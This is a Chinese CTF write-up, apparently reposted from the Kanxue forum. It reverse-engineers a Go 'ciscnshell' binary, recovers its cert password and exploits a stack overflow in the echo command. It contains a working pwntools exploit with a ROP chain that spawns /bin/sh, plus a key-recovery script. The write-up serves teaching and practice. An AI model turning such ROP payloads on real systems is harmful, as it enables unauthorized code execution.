一次简单的golang栈溢出

逻辑分析


将附件拖入ida,根据字符串可判断为go语言编写的程序:


一次简单的golang栈溢出


动态运行发现是编写的一个简易shell,并且需要一个Cert才能正常工作:


一次简单的golang栈溢出


逆向golang程序时,ida反编译功能基本报废,最好的办法就是看汇编。golang中的函数调用约定和标准的函数调用约定有所区别:传参用到的寄存器依次是:AX,BX,CX,DI,SI,R8,R9,R10,R11。接下来开始逆向工作。


首先根据报错字符串”Cert Is A Must”定位到地址0x4C1FC0处的函数,此函数依次将报错字符串从rodata段取出放到.bss段中以供后续调用:


一次简单的golang栈溢出


根据字符串”Cert Is A Must”的交叉引用可以找到解析输入的函数,地址为0x4C1900。该函数首先会判断全局变量qword_5D1128是否为0,如果为0就去比较[rax]是否为指向字符串”cert”的字符串指针,[rax+8]处是否为4,任意条件不满足就会触发”Cert Is A Must”的报错:


一次简单的golang栈溢出


直接使用gdb进行动态调试,将断点打在此函数开头处,观察rax寄存器的值:


一次简单的golang栈溢出

一次简单的golang栈溢出


可以发现用户输入被空格分开了,并且使用指针+长度的结构进行储存,rax指向的就是这样一个结构的数组。对应的rbx是这个数组的长度。所以只要用户输入被空格分开后的第一部分为字符串”cert”即可绕过报错”Cert Is A Must”:


一次简单的golang栈溢出


紧接着的是报错”Missing parameter”,继续分析汇编,如果用户输入的第一部分为”cert”即可来到loc_4C1A24:


一次简单的golang栈溢出


这里会再次比较输入的第一部分的长度,如果长度大于3就执行右边的逻辑块,小于三九执行左边的逻辑块。”cert”长度为4,所以会进入右边,这时候程序会判断用户输入是”cert”还是”echo”,如果为”cert”,就会检查rbx的值是否为3,如果不是3就会触发报错”Missing parameter”:


一次简单的golang栈溢出


根据上文的分析,rbx就是输入被空格分割成的份数,所以输入格式应该为”cert xxx xxx”。继续分析汇编,如果rbx为3,程序就会去判断输入的第二部分长度是否为9,并且和字符串”nAcDsMicN”进行比对,如果不同就会触发报错”Internal Err0r”:


一次简单的golang栈溢出


相同会进入0x4C14A0处的cert的解析函数,并且将输入的第三部分和其长度作为参数:


一次简单的golang栈溢出


解析函数首先会进行rc4处理,然后再进行base64处理再和字符串“JLIX8pbSvYZu/WaG”进行比较,如果相同就会输出成功提示,并将全局变量qword_5D1128赋值为1。动态调试即可提取出rc4的key,将字符串base64解码、异或rc4的key即可得出要输入的值。脚本如下:


from pwn import *
my=b'nihaonihaoni'
my_c=p64(0xdfb5dbb8c64ce819)+p32(0xce2bd261)
key=[0]*12
for i in range(12):
key[i]=my[i]^my_c[i]

final_base64=b"JLIX8pbSvYZu/WaG"
#00000000 24 b2 17 f2 96 d2 bd 86 6e fd 66 86 |$².ò.Ò½.nýf.|
final=b'x24xb2x17xf2x96xd2xbdx86x6exfdx66x86'

res=[0]*12
for i in range(12):
res[i]=final[i]^key[i]
print(bytes(res))

#S33UAga1n@#!
#nAcDsMicN
#cert nAcDsMicN S33UAga1n@#!


得出输入第三部分为”S33UAga1n@#!”,所以输入”cert nAcDsMicN S33UAga1n@#!”之后即可通过检查,将qword_5D1128赋值为1,再次进入0x4C1900处的函数是就会直接跳过cert的判断,之后即可正常进行交互:


一次简单的golang栈溢出


简单分析汇编逻辑会发现只有ls、cat、whoami、cd、echo这几个命令,其中cd会调用chdir函数,ls会执行ls -al命令,whoami和cat是调用的print打印写死的东西而echo的处理函数中存在溢出,在0x4C1854附近:


一次简单的golang栈溢出


rax为索引,格式为echo part1 part2 part3 part4 ....,每个part最多0x200,总共加起来最多0x400,echo处理函数会将各个part整合起来写在栈上,如果有“+”则跳过栈上对应的位置的数据。而rsp+0x68距离返回地址的距离只有0x200多,所以存在一个栈溢出漏洞,构造payload进行rop即可。


exp


from pwn import *
context.log_level="debug"
sh=process("./pwn")
cert=b'cert nAcDsMicN S33UAga1n@#!'
sh.sendlineafter(b"ciscnshell$ ", cert)

syscall=0x000000000040328c
rdi=0x0000000000444fec
rsi=0x000000000041e818
rdx=0x000000000049e11d
rax=0x000000000040d9e6
binsh=0x4C38E7
bss=0x5A34A0
ropchan=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x8)+p64(rax)+p64(0)+p64(syscall)
ropchan+=p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)
# +(p64(rdi)[:3]).ljust(8,b'+')
length= (0x210-0x13)
r=length//8
y=length%8
payload=b'echo'
for i in range(r):
payload+=b' '
payload+=b'a'*8
payload+=b' '+b'a'*y
payload+=b' '+b'+'*38
payload+=b' '+ropchan
# gdb.attach(sh,"b *0x4C1882nc")
sh.sendlineafter(b"nightingale# ", payload)
# input()
sleep(1)
sh.send(b"/bin/shx00")
sh.interactive()


总结


遇到golang逆向或者pwn直接放弃伪代码边看汇编边调试。




一次简单的golang栈溢出


看雪ID:/x01

https://bbs.kanxue.com/user-home-929564.htm

*本文为看雪论坛优秀文章,由 /x01 原创,转载请注明来自看雪社区

一次简单的golang栈溢出

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


一次简单的golang栈溢出


一次简单的golang栈溢出

球分享

一次简单的golang栈溢出

球点赞

一次简单的golang栈溢出

球在看

原文始发于微信公众号(看雪学苑):一次简单的golang栈溢出

版权声明:admin 发表于 2023年9月8日 下午6:00。
转载请注明:一次简单的golang栈溢出 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...